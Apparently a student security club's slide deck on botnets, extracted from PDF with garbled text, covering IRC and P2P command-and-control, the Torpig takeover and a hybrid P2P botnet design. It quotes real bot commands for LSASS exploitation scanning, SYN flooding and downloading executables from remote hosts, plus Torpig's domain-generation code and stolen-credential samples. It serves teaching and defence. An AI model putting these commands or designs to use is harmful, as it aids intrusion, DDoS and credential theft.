Description: briefly describe your topic - ENSIMAG · • Description: briefly describe your topic ... • Observing chan • Botmaster discussing • « young males with surprisingly

•  Description: briefly describe your topic •  Lecturer: MOUGEY Camille

SecurIMAG

2011-mm-dd

WARNING: SecurIMAG is a security club at Ensimag. Thoughts, ideas and opinions are not related to Ensimag. The authors assume no liability including for errors and omissions.

¡¡_ (in)security we trust _!!!

Grenoble INP Ensimag

Summary

2 SecurIMAG - title - MOUGEY Camille - date

•  Botnet … what ?

•  C&C methods •  Botnet IRC •  Botnet P2P

•  Embedded tools •  Defence against fedz •  Fedz against Botnet

•  Your botnet is my botnet •  Mwna (right here, Grenoble !)

Botnet … what ?


•  Definition

•  Purpose

•  Aspects (= infection, control, update) •  Example

Definition


•  Botnet (roBOT NETwork)

•  First Appear : GTBot in 1998

•  Compromised network computer (zombies)

•  Managed by a “BotMaster” and/or Bots (malware)

•  OS : All (but mainly Windows)

•  Vint Cerf: “one quarter of all computers part of botnet” Global Threat bot source code : http://www.offensivecomputing.net/?q=node/552

Flashback (April 12)

Purpose


•  Estimated size : > 100 000 bots (Srizbi, Bobax, Rustock, …)

•  Money •  Spam •  Blackmail (via DDoS, …) •  Rent •  Phishing •  Unwanted click •  …

•  BBC (03/14/09) paid 5k $ for 2200 bots •  Spam test •  DDoS test (Prevx)

Cost ($) Product

2 – 25 Credit card infos

7 Paypal account

8 WoW account

15 1000 system infec<on

25 – 100 DDoS, 10min free, 20/h, 100/d

495 2*107 spams during 14 d

According to G DATA 2007/2008

Purpose


Reveton FR – Kafeine – 12 April 2012

Purpose


Botnets.fr - Kafeine

Purpose


•  From a botnet vendor forum

Botnets.fr – Citadel Zeus bot : https://www.botnets.fr/index.php/Citadel_Zeus_bot

« Changes have been made both to the bot itself and to the web components. We don’t sell “eye candy”. What you are paying for is the new functionality and coders’ motivation to support the product. »

« We’re offering a great solution for creating and updating your botnet. »

« Our software does not work on Russian-language systems. If a Russian or Ukrainian layout is detected, the bot terminates. This is done to prevent installs on CIS systems »

« Fully revamped, more user-friendly web-admin interface. »

« Time is money, that’s why we have created a social network-like platform for our clients »

« We will provide URLs to download the OS image and VMWare to save you some time. »

Purpose


•  Patriotism •  Georgian websites targeted by Russians •  DDoS on American Radio during Tchernobyl victims

commemoration •  CNN targeted by china

•  Expression •  Hadopi •  Castlecops (anti-spam)

Architecture


•  3 mains steps : •  Infection •  Control •  Update

•  Infection •  Spams •  Browser vulnerabilities •  Well–known vulnerabilities •  Unpatched software •  …

Architecture


•  Control and Update •  C&C : Command & Control

•  2 main architectures •  IRC •  P2P

Botnets IRC


D◆e�nition Motivations Fonctionnement Evolution Pr◆evention et d◆etection Commerce de botnets D◆emonstration Conclusion Sources Questions

D◆e�nition d'un botnet

Architecture centralis◆ee :

Exemples

Botnets IRC et HTTP

5/38

Botnets IRC


•  Topic command like

•  .advscan lsass 200 5 0 -r –s •  Scan using LSASS Vulnerabilities[1], 200 concurrents threads, 5s

delay, unlimited time (0), random and silent

•  .http.update http://<server>/~mugenxu/rBot.exe c:\msy32awds.exe 1

:irc1.XXXXXX.XXX 332 [urX]-700159 #foobar :.advscan lsass 200 5 0 -r -s :[urX]-700159!mltfvt@nicetry JOIN :#foobar :irc1.XXXXXX.XXX MODE #foobar +smntuk channelpassword

PRIVMSG #foobar :[lsass]: Exploiting IP: 200.124.175.XXX PRIVMSG #foobar :[TFTP]: File transfer started to IP: 200.124.175.XXX (C:\WINDOWS\System32\NAV.exe).

[1] MS04-011 : http://technet.microsoft.com/en-us/security/bulletin/ms04-011

DDoS Example


[###FOO###] <~nickname> .scanstop [###FOO###] <~nickname> .ddos.syn 151.49.8.XXX 21 200 [###FOO###] <-[XP]-18330> [DDoS]: Flooding: (151.49.8.XXX:21) for 200 seconds [...] [###FOO###] <-[2K]-33820> [DDoS]: Done with flood (2573KB/sec). [###FOO###] <-[XP]-86840> [DDoS]: Done with flood (351KB/sec). [###FOO###] <-[XP]-62444> [DDoS]: Done with flood (1327KB/sec). [###FOO###] <-[2K]-38291> [DDoS]: Done with flood (714KB/sec). [...] [###FOO###] <~nickname> .login 12345 [###FOO###] <~nickname> .ddos.syn 213.202.217.XXX 6667 200 [###FOO###] <-[XP]-18230> [DDoS]: Flooding: (213.202.217.XXX:6667) for 200 seconds. [...] [###FOO###] <-[XP]-18320> [DDoS]: Done with flood (0KB/sec). [###FOO###] <-[2K]-33830> [DDoS]: Done with flood (2288KB/sec). [###FOO###] <-[XP]-86870> [DDoS]: Done with flood (351KB/sec). [###FOO###] <-[XP]-62644> [DDoS]: Done with flood (1341KB/sec). [###FOO###] <-[2K]-34891> [DDoS]: Done with flood (709KB/sec). [...]

Botnets IRC updating


•  .download http://spamateur.freeweb/space.com/leetage/gamma.exe c:\windows\config\gamma.exe 1

•  Recently •  Botmaster trying to update •  Get a bug with the first nickname’s character •  Loose 3000 bots, trying forever to connect

•  Observing chan •  Botmaster discussing •  « young males with surprisingly limited programming skills. The

scene forums are crowded of posts like "How can i compile *" and similar questions »

Real Example


•  Example from Labo •  Observing DNS resolution « d.homler.net » •  3321 connections

•  Session example PASS eee KCIK exemple rssr c1 c2 c3 c4 :[email protected] PRIVMSG exemple :VERSION :hub.us.com 001 exemple :us, [email protected] : :hub.us.com 005 exemple :[email protected] JOIN :#dpi :hub.us.com 353 exemple @ #dpi :exemple

Real Example


•  IRCd modified •  Most of usual command disabled

•  !dl http://x.x.x.x/path/i.exe t.exe 1

•  Sulley, no result •  Reverse Engineering, self crypted malware

•  Just ISON and USERHOST to list pseudo (A-Za-z) •  Sizing botnet, impossible in reality

Botnet P2P


•  Main idea •  Break the botmaster machine, break the botnet •  Not really hidden

•  Using decentralized architecture •  P2P network •  Own network

•  Detecting botmaster is very hard

Architecture


D◆e�nition Motivations Fonctionnement Evolution Pr◆evention et d◆etection Commerce de botnets D◆emonstration Conclusion Sources Questions

D◆e�nition d'un botnet

Architecture P2P :

Exemples

Botnets P2P (utilisation du r◆eseau Gnutella par exemple)

6/38

Botnet Takeover


•  Botnet Torpig •  Infection with Mebroot (targeting MBR)

•  Domain flux using date

Your botnet is my botnet : University of California

Figure 1: The Torpig network infrastructure. Shaded in gray are the components for which a domain generation algorithm is used.The component that we “hijacked” is shown with dotted background.

are timestamped and named after existing files in the same direc-tory (they are given a different, random extension), to avoid rais-ing suspicion. After the initial update, Mebroot contacts its C&Cserver periodically, in two-hour intervals, to report its current con-figuration (i.e., the type and version number of the currently in-stalled modules) and to potentially receive updates. All commu-nication with the C&C server occurs via HTTP requests and re-sponses and is encrypted using a sophisticated, custom encryptionalgorithm [9]. Currently, no publicly available tool exists to cir-cumvent this encryption scheme.

During our monitoring, the C&C server distributed three mod-ules, which comprise the Torpig malware. Mebroot injects thesemodules (i.e., DLLs) into a number of applications. These appli-cations include the Service Control Manager (services.exe),the file manager, and 29 other popular applications, such as webbrowsers (e.g., Microsoft Internet Explorer, Firefox, Opera), FTPclients (CuteFTP, LeechFTP), email clients (e.g., Thunderbird, Out-look, Eudora), instant messengers (e.g., Skype, ICQ), and systemprograms (e.g., the command line interpreter cmd.exe). Afterthe injection, Torpig can inspect all the data handled by these pro-grams and identify and store interesting pieces of information, suchas credentials for online accounts and stored passwords.

Periodically (every twenty minutes, during the time we moni-tored the botnet), Torpig contacts the Torpig C&C server to uploadthe data stolen since the previous reporting time (6). This com-munication with the server is also over HTTP and is protected bya simple obfuscation mechanism, based on XORing the clear textwith an 8-byte key and base64 encoding. This scheme was brokenby security researchers at the end of 2008, and tools are availableto automate the decryption [20]. The C&C server can reply to abot in one of several ways. The server can simply acknowledge thedata. We call this reply an okn response, from the string containedin the server’s reply. In addition, the C&C server can send a con-figuration file to the bot (we call this reply an okc response). Theconfiguration file is obfuscated using a simple XOR-11 encoding.It specifies how often the bot should contact the C&C server, a setof hard-coded servers to be used as backup, and a set of parametersto perform “man-in-the-browser” phishing attacks [14].

Torpig uses phishing attacks to actively elicit additional, sensi-tive information from its victims, which, otherwise, may not be ob-served during the passive monitoring it normally performs. Theseattacks occur in two steps. First, whenever the infected machinevisits one of the domains specified in the configuration file (typi-cally, a banking web site), Torpig issues a request to an injectionserver. The server’s response specifies a page on the target domainwhere the attack should be triggered (we call this page the trigger

page, and it is typically set to the login page of a site), a URL onthe injection server that contains the phishing content (the injectionURL), and a number of parameters that are used to fine tune theattack (e.g., whether the attack is active and the maximum numberof times it can be launched). The second step occurs when the uservisits the trigger page. At that time, Torpig requests the injectionURL from the injection server and injects the returned content intothe user’s browser (7). This content typically consists of an HTMLform that asks the user for sensitive information, for example, creditcard numbers and social security numbers.

These phishing attacks are very difficult to detect, even for at-tentive users. In fact, the injected content carefully reproducesthe style and look-and-feel of the target web site. Furthermore,the injection mechanism defies all phishing indicators included inmodern browsers. For example, the SSL configuration appearscorrect, and so does the URL displayed in the address bar. Anexample screen-shot of a Torpig phishing page for Wells FargoBank is shown in Figure 2. Notice that the URL correctly pointsto https://online.wellsfargo.com/signon, the SSLcertificate has been validated, and the address bar displays a pad-lock. Also, the page has the same style as the original web site.

Figure 2: A man-in-the-browser phishing attack.

Communication with the injection server is protected using thestandard HTTPS protocol. However, since Torpig does not checkthe validity of the server’s certificate and blindly accepts any self-

Botnet Takeover


•  Register few domains in a date interval •  « The sinkholed botnet should be operated so that any harm and/or damage

to victims and targets of attacks would be minimized » •  « The sinkholed botnet should collect enough information to enable

notification and remediation of affected par- ties »

suffix = ["anj", "ebf", "arm", "pra", "aym", "unj", "ulj", "uag", "esp", "kot", "onv", "edc"] def generate_daily_domain(): t = GetLocalTime() p=8 return generate_domain(t, p) def scramble_date(t, p): return (((t.month ^ t.day) + t.day)

* p) +

t.day + t.year def generate_domain(t, p): if t.year < 2007: t.year = 2007 s = scramble_date(t, p) c1 = (((t.year >> 2) & 0x3fc0) + s) % 25 + ’a’ c2 = (t.month + s) % 10 + ’a’ c3 = ((t.year & 0xff) + s) % 25 + ’a’ ift.day

*2<’0’|| t.day

*2>’9’:

c4=(t.day*2)%25 + ’a’ else:

c4 = t.day % 10 + ’1’ return c1 + ’h’ + c2 + c3 + ’x’ + c4 + suffix[t.month - 1]

Botnet Takeover


•  Data collected

•  Botnet size

POST /A15078D49EBA4C4E/qxoT4B5uUFFqw6c35AKDYFpdZHdKLCNn...AaVpJGoSZG1at6E0AaCxQg6nIGA

ts=1232724990&ip=192.168.0.1:&sport=8109&hport=8108&os=5.1.2600&cn=United%20States&nid=A15078D49EBA4C4E&bld=gnh5&ver=229

Figure 3: Sample URL requested by a Torpig bot (top) and the corresponding, unencrypted submission header (bottom).

[gnh5_229] [gnh5_229][MSO2002-MSO2003:pop.smith.com:John Smith: POST /accounts/LoginAuth

[email protected]] Host: www.google.com[pop3://john:[email protected]:110] POST_FORM:[smtp://:@smtp.smith.com:25] [email protected]

Passwd=test

Figure 4: Sample data sent by a Torpig bot: a mailbox account on the left, a form data item on the right.

Data Type Data Items(#)

Mailbox account 54,090Email 1,258,862Form data 11,966,532HTTP account 411,039FTP account 12,307POP account 415,206SMTP account 100,472Windows password 1,235,122

Table 1: Data items sent to our C&C server by Torpig bots.

the different data types that we observed during our monitoring. Inparticular, mailbox account items contain the configuration infor-mation for email accounts, i.e., the email address associated withthe mailbox and the credentials required to access the mailbox andto send emails from it. Torpig obtains this information from emailclients, such as Outlook, Thunderbird, and Eudora. Email itemsconsist of email addresses, which can presumably be used for spampurposes. According to [45], Torpig initially used spam emails topropagate, which may give another explanation for the botmasters’interest in email addresses. Form data items contain the content ofHTML forms submitted via POST requests by the victim’s browser.More precisely, Torpig collects the URL hosting the form, the URLthat the form is submitted to, and the name, value, and type of allform fields. These data items frequently contain the usernames andpasswords required to authenticate with web sites. Notice that cre-dentials transmitted over HTTPS are not safe from Torpig, sinceTorpig can access them before they are encrypted by the SSL layer(by hooking appropriate library functions). HTTP account, FTPaccount, POP account, and SMTP account data types contain thecredentials used to access web sites, FTP, POP, and SMTP ac-counts, respectively. Torpig obtains this information by exploit-ing the password manager functionality provided by most web andemail clients. SMTP account items also contain the source and des-tination addresses of emails sent via SMTP. Finally, the Windowspassword data type is used to transmit Windows passwords andother uncategorized data elements. Figure 4 shows a sample of thedata items sent by a Torpig bot.

5.2 Botnet SizeIn this section, we address the problem of determining the size

of the Torpig botnet. More precisely, we will be referring to twodefinitions of a botnet’s size as introduced by Rajab et al. [34]: thebotnet’s footprint, which indicates the aggregated total number ofmachines that have been compromised over time, and the botnet’s

live population, which denotes the number of compromised hoststhat are simultaneously communicating with the C&C server.

The size of botnets is a hotly contested topic, and one that iswidely, and sometimes incorrectly, reported in the popular press [7,13, 26–28, 30]. Several methods have have been proposed in thepast to estimate the size of botnets. These approaches are modeledafter the characteristics of the botnet under study and vary alongdifferent axes, depending on whether they have access to directtraces of infected machines [6] or have to resort to indirect mea-surements [11, 34, 35, 37], whether they have a complete or partialview of the infected population, and, finally, whether individualbots are identified by using a network-level identifier (typically, anIP address) or an application-defined identifier (such as a bot ID).

In particular, we briefly compare our measurement technique tothose described by Rajab et al. [34] and Kanich et al. [23], whohave discussed in detail the methodological aspects of measuring abotnet’s size.

Rajab et al. focus on IRC-based botnets. They propose to queryDNS server caches to estimate the number of bots that resolved thename of a C&C server and to infiltrate IRC C&C channels withtrackers that record the channel activity, in particular, the IDs ofchannel users. Both methods rely on indirect measurements of bottraffic and are based on active querying and probing. DNS cachequerying is partial, since, in its basic form, it only determines ifa network contains infected bots, while IRC monitoring can poten-tially reveal all the bots that connect to a given channel. Finally, theauthors observe that IRC identifiers (i.e., nicknames) were found tooverestimate the actual size of the botnet,

Kanich et al. focus on P2P botnets. In particular, they measurethe size of the Storm network by active probing and crawling theOvernet distributed hash table (DHT). They confirm that the Stormbotnet is not ideal for measuring its footprint and live populationdue to many factors such as protocol aliasing between infected andnon-infected Overnet hosts and adversarial aliasing where nodespurposely poison the network to disrupt or impair its operation.The authors also caution that the application IDs used in Overnetwere not a good bot identifier, due to a bug in the way they weregenerated by Storm.

In comparison to these studies, the Torpig C&C’s architectureprovides an advantageous perspective to measure the botnet’s size.In fact, since we centrally and directly observed every infected ma-chine that normally would have connected to the botmaster’s serverduring the ten days that we controlled the botnet, we had a com-plete view of the machines belonging to the botnet. In addition, ourcollection methodology was entirely passive and, thus, it avoidedthe problem of active probing that may have otherwise polluted thenetwork that was being measured. Finally, Torpig generates and

Figure 5: New unique IP addresses per hour. Figure 6: New bots per hour.

Figure 7: CDF – New unique IP addresses per hour. Figure 8: CDF – New bots per hour.

Figure 9: Unique Bot IDs and IP addresses per hour. Figure 10: Unique Bot IDs and IP addresses per day.

Hybrid botnet


•  Stronger architecture ? •  Hybrid •  Peer list

•  How to •  Report command •  Update •  Load distribution

•  Weakness

Fig. 1. Command and control architecture of a C&C botnet Fig. 2. Command and control architecture of the proposed hybrid P2Pbotnet

implement encryption and command authentication enabling itto be easily hijacked by others. In addition, its list of knownbots contains all (or almost all) members of the botnet. Thus,one single captured bot would expose the entire botnet todefenders [8]. Furthermore, its complicated communicationmechanism generates a lot traffic, rendering it susceptible tomonitoring via network flow analysis.Some other available robust distributed systems include

“censorship-resistant” system and “anonymous” P2P system.However, their design goal of robustness is different from abotnet. For example, these robust distributed systems try tohide the source node of a message within a crowd of nodes.However, they do not bother to hide the identities of thiscrowd. On the other hand, a botnet needs to try it best tohide IP addresses of all bots in it.

B. Proposed Hybrid P2P BotnetConsidering the problems encountered by C&C botnets and

previous P2P botnets, the design of an advanced botnet, fromour understanding, should consider the following practicalchallenges faced by botmasters: (1). How to generate a robustbotnet capable of maintaining control of its remaining botseven after a substantial portion of the botnet population hasbeen removed by defenders? (2). How to prevent significantexposure of the network topology when some bots are capturedby defenders? (3). How to easily monitor and obtain thecomplete information of a botnet by its botmaster? (4). How toprevent (or make it harder) defenders from detecting bots viatheir communication traffic patterns? In addition, the designshould also consider many network related issues such asdynamic or private IP addresses and the diurnal online/offlineproperty of bots [4].By considering all the challenges listed above, in this paper,

we present our research on the possible design of an advancedhybrid P2P botnet. The proposed hybrid P2P botnet has thefollowing features:

• The botnet requires no bootstrap procedure.• The botnet communicates via the peer list contained ineach bot. However, unlike Slapper [8], each bot has afixed and limited size peer list and does not reveal itspeer list to other bots. In this way, when a bot is captured

by defenders, only the limited number of bots in its peerlist are exposed.

• A botmaster could easily monitor the entire botnet byissuing a report command. This command instructs all (orpartial) bots to report to a specific compromised machine(which is called a sensor host) that is controlled by thebotmaster. The IP address of the sensor host, which isspecified in the report command, will change every timea report command is issued to prevent defenders fromcapturing or blocking the sensor host beforehand.

• After collecting information about the botnet throughthe above report command, a botmaster, if she thinksnecessary, could issue an update command to actively letall bots contact a sensor host to update their peer lists.This effectively reorganizes the botnet such that it hasa balanced and robust connectivity, and/or reconnects abroken botnet.

• Only bots with static global IP addresses that are ac-cessible from the Internet are candidates for being inpeer lists (they are called servent bots according to P2Pterminologies [12] since they behave with both client andserver features). This design ensures that the peer list ineach bot has a long lifetime.

• Each servent bot listens on a self-determined service portfor incoming connections from other bots and uses aself-generated symmetric encryption key for incomingtraffic. This individualized encryption and individualizedservice port design makes it very hard for the botnet tobe detected through network flow analysis of the botnetcommunication traffic.

C. Paper Organization

The rest of the paper is organized as follows. Section IIintroduces related studies. Section III introduces the controlcommunication architecture of the proposed botnet. Section IVdiscusses the designs to ensure the authentication and securityof command communication. In Section V, we present howa botmaster is able to monitor his or her botnet easily. Wepresent how to construct the proposed botnet in Section VIand study its robustness against defense in Section VII. Wepresent possible defenses against the botnet in Section VIII.

enough. Because a botnet stops growing after reaching thesize of 20,000, the reinfection events rarely happen (around600). Due to this phenomenon, connections to servent botsare extremely unbalanced: more than 80% (4000) of serventbots have degrees less than 30, while each of the 21 initialservent bots have a degree between 14,000 and 17,500. Thisis not an ideal botnet. The constructed hybrid P2P botnet isapproximately degraded to a C&C botnet where the initial setof servent bots behave as C&C servers.Vogt et al. [21] constructed a super-botnet only with the

algorithms that are similar to the “new infection” and “re-infection” procedures presented above. Although authors in[21] showed that their constructed super-botnet is robust,they have an implicit assumption that the super-botnet willhave abundant reinfections during its construction period. Webelieve this assumption is incorrect in a real world scenario—botmasters would want their botnets generating as few aspossible reinfections to avoid wasting infection power andbeing detected by defenders.To illustrate this argument, we have simulated another

botnet scenario where the potential vulnerable population is20,000 instead of 500,000 used in the previous simulation.The botnet stops propagation after all vulnerable hosts havebeen infected. In this simulation, 210,000 reinfection eventshappened. This time, because there are plenty of reinfections,the constructed botnet has a well-balanced connectivity—thedegree distribution of all servent bots roughly follows normaldistribution, and 80% of servent bots have degrees between30 and 150.

B. Advanced construction procedureOne intuitive way to improve the network connectivity

would be letting bots keep exchanging and updating their peerlists frequently. However, such a design makes it very easy fordefenders to obtain the identities of all servent bots, if one orseveral bots are captured by defenders.As introduced in Section V, a botmaster could monitor his

botnet easily whenever he wants by issuing a report command.With the detailed botnet information, a botmaster could easilyupdate the peer list in each bot to have a strong and balancedconnectivity. The added new procedure is:

• Peer-list updating: After a botnet spreads out for awhile, a botmaster issues a report command to obtainthe information of all currently available servent bots.These servent bots are called peer-list updating serventbots. Then, the botmaster issues another command, calledupdate command, enabling all bots to obtain an updatedpeer list from a specified sensor host. Entries in theupdated peer list in each bot are randomly chosen fromthose peer-list updating servent bots.

A botmaster could run this procedure once or a few timesduring or after botnet propagation stage. After each run ofthis procedure, all current bots will have uniform and balancedconnections to peer-list updating servent bots.When and how often should this peer-list updating proce-

dure be run? First, this procedure should be executed onceshortly after the release of a botnet to prevent defenders

from removing all initial servent bots. Second, as a botnetspreads out, each round of this updating procedure makesthe constructed botnet have a stronger and more balancedconnectivity, but at the same time, it incurs an increasingrisk of exposing the botnet to defenders. It is therefore upto a botmaster to strike a comfortable balance. In addition, abotmaster could run this procedure to conveniently reconnecta broken botnet.

2 4 6 8 100

1000

2000

3000

4000

log (# of degrees)

# of

ser

vent

bot

s

Fig. 3. Servent bot degree distribution

Fig. 3 shows the degree distribution for servent bots (clientbots always have a degree of M ) when a botnet uses all threeconstruction procedures. We assume the peer-list updatingprocedure is executed just once when 1,000 (25% of) serventbots have been infected. This figure shows that althoughthose 4000 servent bots infected after the peer-list updatingprocedure still have small degrees, the first 1000 servent botsused in peer-list updating have large and balanced connectiondegrees, ranging from 300 to 500. They form the robustbackbone, connecting the hybrid P2P botnet tightly together.

VII. BOTNET ROBUSTNESS STUDYNext, we study the robustness property of a constructed

hybrid P2P botnet. Two factors affect the connectivity ofa botnet: (1). Some bots are removed by defenders; and(2). Some bots are off-line (for example, due to the diurnalphenomenon [4]). These two factors, even though completelydifferent, have the same impact on botnet connectivity whenthe botnet is used by its botmaster at a specific time. For thisreason, we do not distinguish them in the following study.Since servent bots, especially the servent bots used in peer-

list updating procedure, are the backbone connecting a botnettogether, we study botnet connectivity when a certain fractionof peer-list updating servent bots are removed (that is to say,either removed by defenders or off-line).Let C(p) denote the connected ratio and D(p) denote the

degree ratio after removing top p fraction of mostly-connectedbots among those peer-list updating servent bots—this is themost efficient and aggressive defense that could be done whendefenders have the complete knowledge (topology, bot IPaddresses ...) of the botnet. C(p) and D(p) are defined as:

C(p) =# of bots in the largest connected graph

# of remaining bots(3)

D(p) =Average degree of the largest connected graph

Average degree of the original botnet(4)

The metric C(p) shows how well a botnet survives a defenseaction; the metric D(p) exhibits how densely the remainingbotnet is connected together.

0 0.2 0.4 0.6 0.8 10

0.2

0.4

0.6

0.8

1

Fraction of removed peer−list updating servent bots: p

connected ratio: C(p)degree ratio: D(p)

Fig. 4. Botnet robustness study

Fig. 4 shows the robustness study. The botnet is the oneshown in Fig. 3 that has a vulnerable population of 500,000and runs the peer-list updating procedure once when 1,000servent bots are infected. As shown in this figure, if all1000 peer-list updating servent bots are removed, the botnetwill be completely broken. This result shows the importanceof the peer-list updating procedure. The botnet will largelystay connected (C(p) > 95%) if less than 700 of those1000 peer-list updating servent bots are removed, although ithas a gradually decreasing connectivity with further removal(as exhibited by D(p)). This experiment shows the strongresistance of the proposed botnet against defense, even ifdefenders know the identities of all bots and the completebotnet topology.

A. Robustness Mathematical AnalysisWe provide a simple analytical study of the botnet robust-

ness. Assume that each peer list contains M servent bots. It ishard to provide a formula when removing the top p fractionof mostly-connected nodes. However, we could provide theformula of C(p) when randomly removing p fraction of peer-list updating servent bots.As we discussed before, the servent bots not used in peer-

list updating procedure have very few extra links besides theM links given by their own peer lists. We simplify the analysisby assuming that each bot in the botnet connects only to peer-list updating servent bots. Then, when we consider removinga fraction of peer-list updating servent bots, more links willbe removed compared to the original botnet network. Becauseof this bias, the analytical formula presented below slightlyunderestimates C(p) in the case of random removal.A bot is disconnected from the others when all M servent

bots in its peer list have been removed. Because of the randomremoval, each peer-list updating servent bot has the equal

probability p to be removed. Thus, the probability that a botis disconnected is pM . Therefore, any remaining bot has thesame probability 1!pM to stay connected, i.e., the mean valueof C(p) is (in case of random removal):

C(p) = 1 ! pM (5)

0 20 40 60 80 1000.1

0.2

0.3

0.4

0.5

0.6

0.7

0.8

0.9

1

Size of peer list: M

C(p)

p=85%: random removalp=85%: formulap=85%: top removalp=95%: random removalp=95%: formulap=95%: top removal

Fig. 5. Comparison of the analytical formula (5) and simulation results

Fig. 5 shows the analytical result from (5), comparing withthe simulation result C(p) of the random removal, and the sim-ulation result C(p) of the removal of top p fraction of mostly-connected peer-list updating servent bots. The analytical curvelies between those two simulated robustness metrics. It showsthat the analytical formula indeed has a small underestimationbias compared with the random removal. Because removingtop p fraction will remove more links from the botnet networkthan a random removal, the simulation results C(p) from thetop removal scenario are slightly lower than the derived resultsfrom (5). In summary, this figure shows that, even though theanalytical formula (5) is not very accurate, it provides a goodfirst-hand estimate of the robustness of a botnet.This figure also shows that the proposed botnet does not

need a large peer list to achieve a strong robustness.The robustness study presented here is a static study and

analysis. We have not considered how a botnet behave if botsare removed by defenders gradually, or when bots are removedas the botnet spreads. For this reason, the botnet infection rateand spreading speed does not matter to our robustness study,and we will study these issues in the future.

VIII. DEFENSE AGAINST THE PROPOSED HYBRID P2PBOTNET

A. AnnihilatingWe introduce possible annihilating defense in three ways.

First, the proposed hybrid P2P botnet relies on “servent bots”in constructing its communication network. If the botnet isunable to acquire a large number of servent bots, the botnetwill be degraded to a traditional C&C botnet (the relationshipof these two botnets is discussed in Section III-C), which ismuch easier to shut down. For this reason, defenders shouldfocus their defense effort on computers with static global

An Advanced Hybrid Peer-to-Peer Botnet ; University of Central Florida

Botnet Tools


•  Embedded rootkits •  MPACK, BlackHole (Exploitation kit) •  Mebroot, TDL, Back Orifice

Botnet Tools


•  Source code detection •  SoftIce, SoftIce NT, OllyDBG •  Breakpoints •  VMWare

•  Honeypot detection •  Honeypot detection in advanced botnet attacks •  Honeypot-Aware Advanced Botnet Construction and

Maintenance •  Detect lag •  Detect modified malicious traffic sended

Fast-Flux


Mwna


Questions


?

Reference


•  DDoS protection •  http://d4n3ws.polux-hosting.com/2012/04/10/comment-se-

defendre-dun-ddos/

•  Polytech Grenoble « Botnets, les fantômes de l’internet » •  Iheb Khemissi, Joris Brémond Polytech Grenoble

•  French community •  Botnets.fr •  #botnets.fr on freenode

•  Honeynet project •  Know your enemy : Tracking botnet

•  Your Botnet is My Botnet: Analysis of a Botnet Takeover •  University of California

Reference


•  University of Central Florida •  An Advanced Hybrid Peer-to-Peer Botnet •  Honeypot detection in advanced botnet attacks •  Honeypot-Aware Advanced Botnet Construction and

Maintenance

Description: briefly describe your topic - ENSIMAG · • Description: briefly describe your topic ... • Observing chan • Botmaster discussing • « young males with surprisingly

Documents